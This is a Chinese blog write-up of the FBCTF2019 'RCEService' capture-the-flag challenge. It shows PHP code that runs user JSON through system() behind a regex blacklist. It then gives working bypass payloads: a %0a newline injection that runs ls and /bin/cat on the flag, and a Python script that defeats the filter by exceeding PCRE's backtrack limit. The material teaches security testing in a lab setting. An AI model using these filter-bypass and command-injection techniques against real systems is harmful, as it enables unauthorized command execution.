[FBCTF2019]RCEService

本文详细介绍了如何利用PHP的preg_replace函数存在的漏洞进行代码执行。通过换行符绕过和PCRE回溯次数限制,展示了两种有效的解题方法。第一种方法利用%0a绕过限制执行ls命令,第二种方法通过构造大量回溯来规避安全检查,成功执行/bin/cat命令读取flag文件。文章深入浅出地解释了正则表达式回溯的原理,并给出了Python脚本示例。
摘要由CSDN通过智能技术生成

[FBCTF2019]RCEService
在这里插入图片描述
源码:

<?php
 
putenv('PATH=/home/rceservice/jail'); //设置环境变量
 
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
 
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
 
?>

提示输入json命令,json格式为键值对模式,尝试输入{“cmd”:“ls”}
在这里插入图片描述
由于被过滤了很多,想找到没过滤的函数比较困难,考虑正则匹配preg_replace的3个常见问题:

1 这个preg_replace函数可能会导致任意代码的执行**/e**

2 正则表达式的数组绕过,在匹配的时候,遇到数组会直接返回FALSE。

3 PCRE回溯次数(这个就是预期的考点

参考:preg_match绕过总结
在这里插入图片描述
在这里插入图片描述

解法一:利用换行符绕过
由于加了修饰符s后.才会匹配换行符,所以此处利用%0a(换行符经过url编码后)进行绕过
payload:?cmd={%0a"cmd":"ls /home/rceservice"%0a}
在这里插入图片描述
发现有flag文件,但是无法使用cat more less等命令读取,参考另一位大佬的:

系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令,因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

所以使用/bin/cat即可
payload:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
在这里插入图片描述

解法二:回溯绕过
原理详解,参考p神的,讲的很详细:PHP利用PCRE回溯次数限制绕过某些安全限制

回溯过程: 我们题目中的正则<?.[(`;?>].,假设匹配的输入是<?php
phpinfo();//aaaaa,实际执行流程是这样的:
image.png

见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]。

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的;则匹配上[(`;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限,以英文手册为准就是100万次的上限,只要回溯超过100万次preg_replace就会返回flase,从而然后它的检测

所以编写python脚本:

import requests

url = "http://9642293b-6ae3-4e99-9949-888648b4bdf9.node4.buuoj.cn:81/"
data = {
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}' #设置r1参数,值为100万个a
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值